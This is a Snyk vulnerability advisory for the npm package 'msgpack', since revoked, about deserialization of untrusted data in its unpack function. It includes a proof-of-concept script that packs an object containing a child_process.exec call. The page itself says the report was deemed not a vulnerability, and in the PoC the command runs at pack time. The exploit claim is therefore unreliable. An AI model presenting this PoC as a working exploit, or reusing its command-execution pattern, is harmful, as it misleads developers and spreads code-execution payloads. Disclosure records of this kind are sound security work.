Deserialization of Untrusted Data The advisory has been revoked - it doesn't affect any version of package msgpack Open this link in a new tab


Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • snyk-id

    SNYK-JS-MSGPACK-1296122

  • published

    21 Jul 2021

  • disclosed

    21 May 2021

  • credit

    Adi Malyanker

Amendment

This was deemed not a vulnerability.

Overview

msgpack is an A space-efficient object serialization library for node.js

Affected versions of this package are vulnerable to Deserialization of Untrusted Data via the unpack function.

N.B: this affects the NPM package msgpack only, NOT the more popular package @msgpack/msgpack.

PoC by Adi Malyanker

var assert = require('assert');
var msgpack = require('msgpack');
function sleep(ms) {
return new Promise((resolve) => {
setTimeout(resolve, ms);
});
}
async function init() {
var normal = {"a" : 1, "b" : 2, "c" : [1, 2, 3]};
var malicious = msgpack.pack({exploit : function(){require('child_process').exec('echo code_executed!;sleep 3', function(error,stdout, stderr) { console.log(stdout) });}(),}); 
var rce = msgpack.unpack(malicious);
assert.deepEqual(rce, normal);
}

init();

References